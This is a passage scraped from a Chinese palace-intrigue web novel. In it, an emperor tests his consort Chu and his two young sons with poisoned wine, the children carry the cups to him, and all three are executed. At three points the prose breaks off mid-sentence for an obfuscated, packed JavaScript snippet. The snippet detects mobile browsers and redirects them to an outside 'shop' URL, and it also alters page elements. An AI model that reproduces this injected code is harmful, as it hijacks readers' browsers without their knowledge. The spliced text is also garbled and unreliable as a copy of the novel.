“去年,陛下还记得吧,小朱太妃,朱存焳想让他最宠的妾室儿女死得对他最有价值,不枉他宠爱他们,陛下若有两个你都能看见他们死路的皇子了,你想不想,让这两个皇子死得对你最有价值?”霍擎言简意赅,霍秦川脑门有点激灵。 霍海啸和晏霁之对视,嬴忱璧看向贵妃,霍灵渠抱着小幼儿盖条薄毯靠在躺椅晒太阳,嬴忱璧定定心转向霍擎:“朕不明白老国丈的意思。” “若陛下能活到七十岁,您还有四十年。”霍擎解释:“您的二皇子和三皇子,陛下以为他们今年死与三十年后死对您能一样吗?” 嬴忱璧脸色微变:“老国公——” “外祖父告诉你,我能看到,你若想二皇子和三皇子做富贵闲人好歹给他们保下一命,你自欺欺人。”霍擎苦心道:“你将来还会有十几二十几个乃至更多的儿子,你不会教孩子,你不承认也没用,你想你将来的孩子都被你养废掉吗?” “老国公妄言了。”嬴忱璧不想听,站起来,霍擎不紧不慢:“你和贵妃的孩子呢?” 嬴忱璧微愣。 霍擎诛心:“你一定会很喜欢吧,你会当心肝宝贝一样宠着、爱着,可你把握得好吗?你会有多疼爱那个孩子,霍灵渠三岁了还能骑在霍漓江的脖子上玩,会不会,你也能做到,你愿意让你最珍爱的孩儿骑在你的肩膀上,可会不会,最终,是你在我这个年纪时,你亲自去把你当心肝宝贝一样珍爱了三十多年的储君赐死。 三十多年的疼爱厚望付诸东流,白发人送黑发人,谁的心能比你痛,可你是皇帝,你得为社稷着想,你必须这么做,你想变成那样吗?” 嬴忱璧猛瞪着他,霍擎道:“我想用你前三个儿子的血让你终生记住教训,让你能养得好自此后的三四十个儿女,礼尚往来,你的礼,我收了,外祖父的礼,你要不要?” 嬴忱璧头疼地扶着石桌坐下,霍秦川干笑:“爹,您不能这么欺负小孩是吧,总不能您猜测这两位小殿下过个三十年可能会造反,您就提前三十年请陛下料理,这还没发生的事,您再料事如神也不一定能看的准啊。” “陛下愿意,演出戏给楚美人看,他们自己的选择,可没人欺负他们。”霍擎冷嗤之,嬴忱璧不可思议看着老国丈,霍海啸和晏霁之再对视,霍秦川:“您啥意思?” 霍擎给出方法:“告诉楚美人,太上皇要废掉皇帝立孙子,圣人会召集宗亲和大臣们,她若想让她的儿子上去,让她两个儿子给父亲递杯鸩酒。” 小辈们:“……” 霍漓江没法看好:“爹您这想法太荒诞了。” 霍秦川附和:“是啊,没有这么离谱的,而且破绽百出,不,是这就没有能说得通的,假得没有半点能够让人相信,你这压根儿就不是算计了。” “是啊。”霍擎轻飘飘笑着,嬴忱璧怔下有股异样的感觉,霍擎讥讽:“谁说要做算计,有这样的算计吗?不过是让楚美人和她这两个皇子自己选。” 霍秦川无语:“爹啊您自个儿说,谁会往这样的坑里跳?” 霍擎目光深重起来:“过几天,想看,你们都可以去看一看,披着人皮的鬼。” 小辈们一怔。 嬴忱璧像没听懂地站起来:“老国丈您,说什么?” “假若这楚美人敢弑君,她会只针对你吗,她自己的亲儿呢?”霍擎刨根究底:“假若她的孩儿处处与她不和,她会退让吗,她会认她儿子才是做主的吗,她亲生的孩儿,这性命都是由她给的,还敢跟她唱反调,她能容得下吗?” 越想,嬴忱璧感觉脑中轰然炸响。 晏霁之拧眉,霍擎解说:“楚氏,陛下您将她逐出宫之前,她没有感受过被绝掉她向往权欲的绝望,是个人样,但,出宫,皇帝把他们娘仨都给扔了,她臆想的渴望没了,绝望,恨入骨髓,再恨几天,就只剩披着张人皮了。” “朕,朕想过,楚氏的结局。”嬴忱璧诉道:“她在谷王府熬个十几二十年,很可能都活不过四十岁,三皇子娶妻后也就差不多了。” 晏霁之道:“我同意。” 霍海啸道:“我也同意。” 霍漓江道:“我们都同意的。” “我不反对呀,我也同意呀,陛下责令楚美人出宫,我看到的她也就是这样的结局。”霍擎举例道:“但,陛下,庄太妃生前再想要权都不会让人觉得她已经不像个人了,庄太妃生前再嗜权都还是人样,因为庄太妃会争,这个楚氏,她不会。” 嬴忱璧斟酌。 晏霁之感悟:“就是,这楚美人心里恨,但她不会争,没有发泄,全积压在她心里,足以灭尽她的人性。” 晏霁之猛地意识到:“对,还有很重要的一点。庄太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13735576|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妃和朱存焳等人生前不论如何嗜权都是人样,因为他们不掩盖他们就是想要权利,但这个楚美人想为所欲为却还要自诩完人,虚伪、无耻至极。” 霍擎叹息:“对。” 晏霁之摇头:“摆在眼前的事,我竟才看出这个楚美人有多假。” 臣子们退下后,霍灵渠走过来,嬴忱璧说:“朕同意了。” “我想起,她妹妹曾说她,若是她的爹娘让她不满了她是不是也要对父母毫无礼数,她妹妹或许是随口说的,但,”霍灵渠没再说下去,嬴忱璧道:“她做得出来。” 嬴忱璧结论:“所以,得意时,她甚至可谓美好。” 霍海啸去长春宫,霍秦川跑太微宫,霍擎带霍漓江和晏霁之走一段路,把霍漓江踢走:“去给国师送个话,让圣人疼疼皇帝儿子,全了这父子情。” 在原牧炽,原牧炽还想说君臣情呢?! 二十几天了!多一天,原牧炽的耐心就差一分,对着云南王和晏霁之气不过:“我大哥过两天就能入京了,到现在还绝口不提给北境将士们的嘉奖。” “你老爹不想把你外祖家掀了就不错了,还想嘉奖,你做哪门子梦呢?”嬴天漾估计:“不过除了护国公府,给北地将士们的嘉奖肯定有的。” “让护国公上表要个赏赐。”晏霁之主张,嬴天漾怼他:“你疯了?” 原牧炽附议:“对啊,你疯了?” “求解甲归田,朝廷没有说给北地嘉奖,护国公上表求赏赐,明年归来,皇帝问护国公想要什么?护国公说解甲归田,从此护国公府做荣养的勋贵,皇帝等着呢。”晏霁之解释,嬴天漾坐直起来,原牧炽抓他手问:“真的,皇帝能放过我家?” “原家做个荣养的勋贵,有什么不能,不过,皇帝应该会留住原牧烈,消除原家在北地的影响,原牧烈应该能官至兵部尚书。”晏霁之猜测。 原牧炽琢磨:“那这样的话,大哥进京前,我去和我大哥谈谈。” “把你借来的身份还给你表哥,这总归你主动提好一些。”晏霁之提醒,原牧炽顿时心里不是滋味,嬴天漾拍他一肩膀:“行了,还伤春悲秋了啊,回头去你娘陵前多磕几个头,磕到什么时候平静了,也就没啥不舍了。” “行吧。”原牧炽蔫蔫的:“我明天一早就去磕头。” 晏霁之去找霍漓江,想见霍灵渠,霍漓江不耐烦:“你前几天不是才见过?” 晏霁之理直气壮:“是啊,几天前了。” 霍漓江一噎,想打他,但谁叫霍漓江懂啊,传个小厮进来,给混球找个理由:“你去霍家随便找个管事的说,英王世子要纳霍桑柔为妾。” 被造谣的晏霁之造谣:“是云南王纳妾。” 嬴天漾闻讯冲到刑部衙门,还没揪起晏霁之的衣领就被告诉:我想见霍灵渠,贵妃她爹给我找了个让贵妃能传召我的理由,我推给你,你可以推给老六。嬴天漾想踹他一脚,脚刚抬起来,晏霁之凝视他,嬴天漾傲娇扭头,他去找老六。 小厮报到霍家,管事报给老太爷,霍擎让管事就去找霍桑柔。 霍桑柔炸毛,赶到刑部衙门,晏霁之已经走了,霍漓江知会过,霍桑柔要求:我明天也要进宫,霍漓江嘲笑:“晏霁之在那儿,你去了也是个被晏霁之拿来当掩护的。” 霍桑柔坚定:“那我也要见我姐。” 霍漓江打发她:“行吧行吧。” 晌午,贵妃派宫人来请父亲,霍漓江进宫,霍灵渠才知道呢,皇帝不准晏霁之来找她,想见面只能她找晏霁之,霍灵渠没心情给她爹管饭了,霍漓江差点谴责闺女。 199. 第199章 清早,霍灵渠坐在梳妆台前思索自己。 有什么不同?她梳妆打扮,宫女笑着说娘娘今儿高兴,霍灵渠微怔,她…她是心情好,天不亮就洗漱,梳妆,描眉,又挑衣裳,今儿有什么不同?桑柔和小祐会来,晏霁之会来。 小幼儿过来拽着她,霍灵渠微微笑,抱起这孩子在窗前思量会儿。 辰时初,霍漓江把霍桑柔和小祐送来放下就走,过一刻钟,晏霁之来,带只小花篮送给四皇子,初冬了,花篮提手包着绒布,花篮里两只雪梨,霍灵渠让宫人送去小厨房煨梨汤。霍桑柔没被晏霁之拿来当掩护,但被当烧火丫头了。 晏霁之说要给小祐送两道点心,不在小厨房,嫌闷,让霍桑柔和小祐在花园搭个小灶。霍桑柔捏拳头,霍灵渠笑着揉揉妹妹的脸,霍桑柔心说她是看在她姐的份上。 霍灵渠带妹妹和小祐垒灶,小幼儿看会儿想走近被宫人拉住,过会儿想走近再被拉住,晏霁之走到小幼儿面前,小幼儿抬头,晏霁之蹲下来,笑眼弯弯:“你叫我什么?” 小家伙不语,晏霁之教:“表叔,我是你表叔,跟表叔说,表叔。” “妃妃——”小幼儿要贵妃,霍灵渠暂放下手里的活,走过去,笑道:“这个是表叔,我和姨姨哥哥垒灶,你跟着表叔。”霍灵渠眼眸一转故意道:“让表叔抱。” 晏霁之可不想抱小孩,她岂能不知?晏霁之想瞪她,把小娃娃抱起来,小幼儿看看他,晏霁之没闲情教小娃吐字了就看她垒灶,反倒小家伙自己学会了:“表叔。” 行吧,晏霁之就再教这小娃娃说几个词。 小灶搭好,霍灵渠生火,霍桑柔挨着姐姐,小祐带着小弟弟退后几步,晏霁之热油,拿过第一盘要油炸的糕点,拿箸夹起生糕点一个个放下,霍桑柔撇嘴,放锅里过油炸谁不会,有本事你烧两盘菜来给我姐呀,霍桑柔看这种大少爷别待会儿全炸焦了。 炸糕出锅,晏霁之夹起块糕点放小碗里让宫人拿给四皇子,小幼儿捧着小碗,要贵妃,霍灵渠叮嘱好妹妹,让小祐去晏霁之身边看吧,她带小幼儿走远些。 霍灵渠拿箸把炸糕分做两半,拿油纸拿起半个炸糕,拿小匙,舀红豆馅给小幼儿吃,喂两勺温水给小娃娃,再拿瓣金桔瓤给他,小幼儿吃起桔瓤来,霍灵渠吃剩下的炸糕,她望着两丈之外在下厨的人,她懂,他今天炸过这两道吃食就会走了。 他只是想来看看她。 软炸松蕈出锅,晏霁之离去,霍桑柔端着软炸松蕈走到姐姐身边:“姐你尝尝,这松蕈片酥酥脆脆,炸得真不错,只是他来见你就为做两道小吃,他都不留下吗?” “他若不走,皇帝会过来。”霍灵渠吃片松蕈,枕靠着妹妹,霍桑柔想想还是吃零嘴,霍灵渠难受会儿振作起来,让宫人把她的铜板匣搬来,再拿算盘来。 她要打算盘数钱! 皇帝嬴忱璧闻知,莞尔。 原牧烈进京,进京的第二天被分派到个任务,太上皇派丞相去谷王府告诉楚美人情形,楚美人还没有给出答复,他们要派个大臣去劝说楚美人不要答应。 任务就落到原牧烈头上了。 原牧烈沉默下问:“为什么是我?” 这群人就是欺负他大哥好说话,但原牧炽没底气呛霍海啸啊,他想找皇帝推掉,皇帝和老皇帝随便揪个人还能找不到个适当的吗?找他大哥作甚,但晏霁之非得说皇帝不会理会,这又不是跟他们商量,是派任务,原牧炽想奋起,还是蔫儿了。 霍海啸答:“你很像义薄云天的大忠臣。” 没拿扫帚赶人,原牧烈应该是很够义气了。 次日,原牧烈进谷王府,楚美人住在谷王府11天了。 原牧炽想和大哥一起去被嬴天漾拉走了,皇帝和贵妃、晏霁之、霍海啸同去的。这院的奴婢被谷王妃指派走了,原牧烈进屋,暗中观测的四位隐蔽在窗外。 霍灵渠望着沉寂的楚美人,一时怔愣又霍然恍然。 楚美人视线向下,端坐在鸡翅木圆桌前,右手臂搁在桌面,屋外天晴,她却好像陷在遮空蔽日的阴天,原牧烈皱眉,莫名不适,他压住不适,专注道:“我来,是想请楚美人不要答应,陛下是位好君主,对你的两个孩儿更是疼爱。 圣人想除霍家,但对陛下还是疼爱的,否则怎会第一个想改立陛下的皇嗣,但你若答应可能会让圣人对你有好感吗?纵使圣人把孙子扶上去又岂能容你苟活,你一旦答应,圣人只会让你殉葬,而朝堂大局,蜀王、魏王、云南王,谁能居于人下? 圣人在还能压住,圣人若不在了,弑君杀父的罪名会即刻落到你两个孩子头上,魏王和蜀王还有云南王又或者那些藏在暗处的人都会第一时间除去你两个孩子,你的楚家满门抄斩都是轻的,为你一时贪权,后果会有多惨烈。 何况在大庭广众下堂而皇之的杀父弑君,即使你这两个孩子能苟活一时,还能做人吗,他们会受尽唾弃,永世不得翻身。你带着这两个孩子远离京中是非,圣人保你们将来蜀王和魏王怎么争都不会去牵涉你们,才是你们的出路。” 原牧烈长篇大论,楚美人置若罔闻,原牧烈喊她,一遍,两遍没有反应,有响动传来,原牧烈转头看见两双泛着精光但没有攻击性的眼睛,原牧烈险些晃神,再定睛一看,是两个小孩扒着门框探头在往这边看。原牧烈重新看向楚美人,又喊几遍仍然没应答。 “还有两三天,请楚美人当只为你和你两个孩儿考虑,不要找死。” 语毕,原牧烈大步往外走,走出这座院,候在院外,皇帝带着贵妃和两个臣子走出来,带他们走出谷王府。皇帝走得并不快,霍灵渠和霍海啸仨的脚步就更轻了。 来到府外,嬴忱璧问原牧烈:“你看到了什么?” 原牧烈抿唇未语,晏霁之道:“两个小孩探头出来好像两头好奇的小狼。” 原牧烈看他一眼又看向霍海啸,霍海啸轻点头,原牧烈道:“诡异,楚氏的气质诡异,是一种但凡人靠近她都能感觉到的诡异,会让人有强烈不适的诡异。” 霍海啸描绘:“像坐在黑不见底的棺材里。” 原牧烈掩饰性的默下,嬴忱璧被打断情绪,让他们仨退下,想和贵妃感慨,霍灵渠道:“我谈过她几回了都没说到点子上,才看懂,她权欲熏心,这么简单。” “陛下想,楚氏对你为什么就是放不下姿态了?”霍灵渠探究。 嬴忱璧恍然,想笑,是啊,权欲熏心,他们谈过几回竟都没有揪出来这四个字。 “自认她绝不会有错,怕死,热衷高高在上还装清高……”蛛丝马迹很多,是他们一直未探出最根本,嬴忱璧没怒,更像冷眼旁观,纠正一点:“她使不出算计,但下人有提议,她能认同,这个人什么都做得出来,比起作为人,不过是权利的牙犬。” 霍灵渠有点莫名看向皇帝,嬴忱璧心感知:“贵妃察觉到朕在想什么。” 霍灵渠猜:“假设,亲儿跟她不和,她能害死亲儿后再跟面首生个孩儿。” “对。”嬴忱璧感笑,心绪恬淡,仿若因贵妃猜到他想法而高兴,谈及这等事仍有温和:“下人们捧一捧,她做得出,还能自认正义,狰狞得只剩张人皮。” 霍灵渠宽劝:“只想靠人捧,只会靠人捧着,她什么都握不住的。” 嬴忱璧失笑:“朕没有生气。” 宫人走近前禀报,班家兄妹求见,皇帝允,班蕴堂带妹妹近前请安,是班落矜想大后天跟着去太微宫,楚美人会拒绝早拒绝了,大后天,圣人少不了要召集宗亲和大臣们,有好几个女眷了,她为何不能去?班蕴堂被闹得只好带妹妹来求个恩典。 “去吧。” 皇帝带贵妃回宫。 班蕴堂和班落矜恭送过陛下,班落矜倒是没有进谷王府的想法,班蕴堂回看这谷王府,一个念头闪过,陛下既然将这楚美人移出宫了,何不将这娘仨送去潜邸? 两天半,楚美人依旧没给出答复,太上皇召集众人。 几十名大臣,二十几个宗亲,算上随侍在殿中的神策军和宫人们,小二百人聚集着,班落矜就说她跟着来没事的,太上皇和皇帝还没来,大伙儿想庄重又实在庄重不起来的偶尔对话偶尔对视偶尔装作正襟危坐,翊善伯和周尚书就对视了眼。 原牧炽大概是人群中唯一的例外,他有些丧气。 滕王不解:“霍家借刀杀人吗?但这俩皇子都是废了的,犯不着啊。” 晏霁之愣下看向滕王,嬴天漾赞同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740453|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“这俩小兔崽子,都上学堂了还能不懂弑君杀父,这么个德行,留着他们,霍海啸什么都不做,他们就能自己找死。” 班落矜拉着大哥凑过去:“霍家不能什么都不做吧,不然,若是这俩皇子发奋,或者和霍家不对付的人家在暗中帮扶,将来未必不会让贵妃和霍家头疼。” “发奋?”嬴天漾嗤之以鼻,晏霁之阐述:“待会儿见到,班姑娘就会看懂这俩小孩能不能发奋;再者,圣人对陛下从未放弃过;第三,陛下还有霍家,能做大事有大局的教育,什么样的人家能培育出一位储君外孙,几家能做到?” 班落矜思索,晏霁之对班蕴堂说:“我们对个词,待会儿让简郡王喊一声。” “行,什么话?” 皇帝嬴忱璧和太上皇到来,霍雄鹰瞧着,唱戏都没这么离谱,霍家人不好在场,他们就藏在暗处了。众人请过安,嬴忱璧让人宣楚氏,一些人不自觉屏住呼吸。 楚美人带着两个皇子迈过门槛,进殿,走过两步没再往前去,三皇子挨着哥哥,二皇子抓着娘的衣裳张望着,这许多人也没见害怕。众多大人一怔,魏王妃好笑,居然真来了,瑞执大长公主沉着脸,新都大长公主没多大感触,臆想得成去年的佟家了么。 太上皇垂下眼睑复看向皇帝,嬴忱璧对楚氏冷嗤,大多数人是真受冲击,这楚美人就直直站着没有行礼,以及她的两个儿子。老秦王看得都头疼。 班丞相不奇怪了,难怪这楚氏今天能来,丞相算算,楚家,三族。 班落矜看着那两个皇子,两个小孩一副不经心的样子。班落矜皱皱眉,看懂了,今天是什么事呀,四岁多、六岁多了,还能不知父亲、不知道死去吗,去年,他们的大哥和姐妹们就死了,让他们来害死自己的亲爹,居然都能不过心。 班蕴堂上前,为什么是他呢,因为派到他祖父头上了。 “事情,想必楚美人已经了解得很透彻了,我再和你说一遍,你可以拒绝,不必有后顾之忧,你不想就拒绝,圣人会给两个孙子封王,送你们离京,让新帝保证给你们母子安稳,毕竟你看,魏王世子已经13岁了,二皇子还是小了,魏王世子比堂弟合适。” 楚美人没有波动的站着,久久没有动静。 班蕴堂还是被气笑了,简郡王拽拽九哥,吴王就不懂了这是在想什么,到了今天放到太微宫来还做哑巴,当他们全是瞎子? 魏王端起瓷盅饮梨汤,蜀王拿酒壶喝酒,小太监端着托盘走过去,班蕴堂警戒:“想要得到就得有付出,你想让你两个儿子去弑父吗?” 楚美人仍没有声响,三皇子抓着哥哥,二皇子抓紧母妃,班蕴堂忽懂了,皇帝没让这娘仨去住潜邸就是嫌恶,嫌恶得让他们去住潜邸都不愿。 简郡王骂:“你想做太后想疯了是吧?” 晏霁之踹嬴天漾,嬴天漾瞪他,晏霁之给他使个眼色,嬴天漾了然,当即大笑道:“别介怀啊楚美人,一个小屁孩,他就是不服气的。 毕竟他可是我皇伯伯的亲儿,你这两个只是孙子,这孙子哪能比得上儿子亲,再者说了这老五要是被废的话,哪还能轮得到他的儿子?” “是啊,不然咱们还是劝劝圣人吧,从儿子里挑就得了,是吧,魏王?”晏煦之配合:“要不然还是别让你儿子做备选了,咱们从你和蜀王里挑一个吧?” 魏王懒洋洋:“楚美人请辞,老五一脉无人能再担大任,我没意见。” 全场的目光再次聚集楚氏,楚美人像竹竿般站着,站姿和神态都没变过,蜀王道:“咱们等有一刻钟了吧,我可惯不了这不说话的毛病,你若还不说话,我当你默认请辞,老子把你们娘仨个一起送走,当我这做哥哥的给弟弟的一点心意。” “老三,你这话说的不合适吧,圣人可是……”嬴天漾跟他唱一唱,蜀王散漫道:“我爹说的是新帝,我又还没做新帝,老五还有个一岁半的小儿子和一个在娘胎里的,足够了,两个陪老五上路,两个留下来给他继承香火。” “你这话说的也不是没有道理。” 众人再看向楚美人,楚美人依旧未言,蜀王提刀走过去,把两个小的抓出来,把大的踢出丈远,举起刀,两个小孩大喊,楚氏嘶吼:“全凭圣人做主。” 200. 第200章 安静,安静在一众观众的心里。 蜀王瞟眼那爹,扔掉这俩小的,班蕴堂握住两个皇子的小手安抚,楚美人忍痛站起来,站定,并没有去她的孩子身边。 嬴忱璧哈哈笑:“朕听闻你无耻,你还真是无耻至极啊,一味沉默逼得蜀王忍无可忍出手了好给你自己找一个心安理得。” 楚氏未置一语,班蕴堂安抚好俩小孩,问他们要父亲还是要母妃? 俩小孩沉默,班蕴堂松手,二皇子跑去母妃身边,三皇子跟着哥哥跑,班蕴堂低低头,掩饰过情绪,请楚美人带孩子过来说话。 楚氏带着孩子们走过去,班蕴堂蹲下,问二皇子:“选母妃,就是要让父皇死,像你们大哥和姐妹们那样,死啊。” 六岁多的小孩仰头望向生母,楚美人沉静,恍若一木头,二皇子低下头。 班蕴堂告诫:“你把这鸩酒送给父皇,父皇就会死,你要送吗?” 二皇子仍低头,班蕴堂转向三皇子:“三皇子四岁半了,懂得死了吧,你大哥和你两个姐姐在去年死了,你妹妹在前年死了,你想让父皇死永远见不到父皇吗?” 四岁多的小孩感到沉重地低头,班蕴堂站起来,小太监把托盘摆他们面前,班蕴堂道:“你们母妃跟你们说了什么,想要就往前走吧。” 二皇子转头看看,又抬头看看他娘,低头,他牵住弟弟往前走,来到父皇和祖父面前,他再低头,有小太监来放脚踏,二皇子抬起头看看,踩上脚踏,拿过酒杯放桌上,他下来,三皇子咬咬嘴巴,踩上去,握过酒杯放桌上,然后退到哥哥身侧。 大殿里鸦雀无声。 原牧炽烦躁,晏煦之与滕王他们看着好笑想笑都笑不出来。 嬴忱璧悲凉:“去年,你们大哥遇到这样的事还挣扎过,被他娘打了,你们,应该没有被生母打过就做了选择吧。”他看向二皇子:“那个人对你好吗? 一年多来,她有事就把你推出来,从不知要把你护在身后她来挡在你们身前,为什么还选她?是不是因为你已经懂了,父皇能做主,母妃不能做主,父皇死了,就能够让你做主,所以你嫌父亲碍着你,你想要父亲去死?” 二皇子低头,二皇子的老师颓倒,他自请流放吧。 “所以你这么小,你才六岁五个月,你想要的,你爹就满足不了你了。”嬴忱璧自嘲:“怪道都说你贪,你娘贪得无厌,你和你娘一样贪。” 二皇子咬嘴巴闷住,嬴忱璧看向三子,留道:“你四岁半,能懂想要什么,你选哥哥还是选父皇?你和贵妃不是很好吗,为什么不想要贵妃了?” 小孩沉默,在众人以为三皇子和他哥哥一样不会出言时,三皇子委屈着怨:“我病了,我快病死了,没有父皇,没有贵妃,只有哥哥和母妃。” “谁给你治病,谁照料你,是父皇让太医给你治病、让宫人精心伺候你,没有父皇,你想让宫人给你喂颗蜜饯你都休想,你哥和你这个娘,你病了,你想去晒晒太阳,他们都只会嫌你多事。”嬴忱璧训斥,三皇子憋气,嬴忱璧高音:“你再选一遍,你选谁?” 三皇子犹豫下没有松开哥哥的手。 嬴忱璧闭目别过头。 落定,许多人绷着的弦松落,太上皇吁出口气。 晏霁之摇头,晏煦之凑近,晏霁之道:“大皇子还有个全尸,这两个,怕是连全尸都留不下了。” “陛下,到底两个孩子的年纪加起来也才十岁多,”老秦王于心不忍,豁出老脸想求,嬴忱璧摆手示意老王爷不要说了,嬴天漾踹堂弟,原牧炽跳起来:“我同意!” 嬴天漾怀疑地看他,原牧炽振振有词:“不是你踹我吗?” 嬴天漾告诉:“我看你死气沉沉的,你魂游到哪去了?” 原牧炽一噎,但……哎呀反正他话说出来了,让他当没说过也不行啊,大手一挥就道:“陛下,其实老王爷说的也没错,这俩小孩加起来也才十岁多,这若是——” “霁之!”皇帝嬴忱璧截住冠军侯的话,晏霁之走去老秦王面前,若温和:“老王爷和冠军侯可知,自去年十月,一年来因那两起造反已死多少人?” 惹得老秦王一怔,原牧炽心慌,好多人莫名有点心恻恻。 晏霁之报出:“包括老秦王您的族亲、皇家宗亲在内,十三万人。” 有人倒吸凉气,原牧炽沉闷,老秦王心一揪坐下,嬴忱璧处置:“两个皇子废做庶人,推出去就地斩了,楚家诛六族,楚氏扔进死牢与楚家人一起行刑。” 禁军将三名罪犯拖走,楚氏被拖出大殿才仿若有感知,回头望去,满目惊恐,楚氏被拖出太微宫装入囚车押送去死牢,两名罪犯斩首,尸身放担架里抬进来给圣人和陛下过目后抬下去,太上皇站起来:“散了吧。” 嬴忱璧送过父皇,独自走了。 霍秦川带湘王和霍家几个出来,霍擎和霍漓江都没在,没兴趣。 众人往外走,来到大殿外开阔的空地,嬴天漾轻松:“这个月的宫宴没了吧。” “你等吃年夜饭吧。”霍雄鹰搭个腔。 “这是楚氏独自做的决定,没和她楚家人商量过,楚家人根本不知道这件事吧。”霍海啸忖度,嬴天漾道:“肯定的了,不过等把人犯抓齐了斩首还要一个多月,这人撑得住吗,她爹第一个就想打死她了,她爹娘兄弟也要被他们那些亲戚打死了。” “但这楚氏应该不会恨了。”晏霁之揣摩,嬴天漾好像没听懂:“为啥?” “她尝到君威了呀。”晏霁之推论:“这位一直很把自己当回事就是没感受过陛下雷霆大怒的滋味,今天让她感受到君威,是她妄想篡逆,他们都该死呀,她恨什么?” 嬴天漾摸摸下巴,班丞相和穆国公相视眼,丞相感慨:“陛下恨吧。” 晏霁之赞同:“若是二十年后陛下处置,应该是夷三族。” “假若把这俩小子留下了,二十年后兄弟相残,两份按一份算,便宜楚家了,可今日,凭什么便宜楚家?”霍海啸看是晏霁之客气了,当然,是不好说十年,这俩小子若留下了,没两年兄弟间互生怨怼,各自想贪多,能撑十年就差不多了。 霍雄鹰着重附和:“可不嘛,两杯鸩酒啊。” 夜黑了,皇帝去关雎宫。 嬴忱璧坐在地铺,抓着四皇子的两条小胳膊在他面前看,好半响,小幼儿要扭向贵妃,霍灵渠安抚小幼儿让父皇再看看,跟皇帝说:“五个时辰前的事了。”你早有预料,你心情还有那么受震动到非得看着小儿子哭吗? 嬴忱璧默下,松松手,霍灵渠让四皇子就扑在他爹爹怀里。 “记得两个多月前,朕和贵妃说,有两个字他们兄弟必须要学会,学会了对他们好。”嬴忱璧自嘲:“原来我教不会他们,我才教,这两个就敢妄想弑君杀父。” 霍灵渠给皇帝一颗糖:“陛下会活到七十岁,人生还未过半呢。” 嬴忱璧笑,望向放在他手心的糖,略过时对上贵妃的视线,霍灵渠提示:“吃啊,不然小娃娃看着会拿的,你若是不注意他喉咙卡着了,你今夜休想安生了。” 这会儿实在不想吃糖的皇帝把糖给贵妃。 “我知道,我想和稀泥。”嬴忱璧剖白:“贵妃曾言,小孩子管那么多干什么,可这话,说小孩不让管够吗?不够,其实根本就是他想跟我争谁做主嘛。” “既然注定会有这一天,避不过,今年就面对吧。”嬴忱璧话锋一转:“但我真的恨的,这两个逆子,他们大哥还有人情味,他们可还真没有。” “今年若是留下他们,他们将来能手足相残?”霍灵渠一讶,又恍然,今天敢想弑父,他们兄弟今后能彼此没有不满,怎么可能呀,过十几年必 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13744518|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定你死我活。 “果然和他们那个娘一样的冷血。”嬴忱璧抱忿:“朕今天算是明白了,假若他们在谷王府生活下去,这楚氏若会熬到病死可跟孩子不睦没有一点关系,只是她自己不得志。假若是这两个逆子累及她,她会自尽也只是不想受辱,跟痛心孩子毫不相关。” 霍灵渠沉默,小幼儿爬出爹爹怀,走两步扑向贵妃,霍灵渠抱住小幼儿,转念一想,让小幼儿面对他爹站着,向父皇扬扬小手:“我们一岁半啦,一岁半,一岁半。” 嬴忱璧情绪被卡得不上不下,小幼儿好像害羞,想窝进贵妃怀里,霍灵渠抱过小幼儿,小幼儿欢悦,和贵妃贴贴脸,霍灵渠和娃娃嬉戏,她挺感激这孩子,若没有这小皇子陪伴,一年多来她在这深宫中必定还要煎熬许多。 嬴忱璧心里哼。 当皇帝他看不懂啊,这是跟他说,过去的让它过去吧,否则你就是一岁半。 隔天,晏霁之求见陛下,嬴忱璧真不想见,但皇帝还是大度的见了他。 “臣知陛下近来心绪不佳,但请陛下保重自身,只是臣有困惑,只得来求陛下指点。”晏霁之汇报,嬴忱璧看他假模假样的,皇帝冷淡冷漠脸:“说。” “大半年前,陛下在贵妃谈宜春县主的婚事后是否就想到了,萧耿裕可能投向魏王。”晏霁之求证,嬴忱璧打量他:“你怎么会这么想?” “萧灼灼若有清白,萧耿裕若把妹妹塞给你,凭什么不想后位和储位?”晏霁之诉来:“我自己说了,我都没多想,在沂州才想明白,他家遭创,他受得住吗? 老秦王这岁数,趁老王爷还活着,他才能从秦王府拿到最大的好处。他投向魏王,不让魏王留证据,即使被留下把柄,魏王若败,他逼秦王府保他。” “你瞧他逃得过吗?”嬴忱璧反问,晏霁之岂能不懂,皇帝在问,你们觉得我狠吗,否则篡逆造反的罪过何必还需问,晏霁之避道:“魏王会看得上他这点把戏吗,他想怎么来就怎么来吧,但他们上了魏王的船就休想逃得过就是了。” 嬴忱璧状若苦恼:“可若是老秦王苦求朕和太上皇?” 晏霁之看他是心情没太坏,否则哪还有闲情来扯这些闲话。 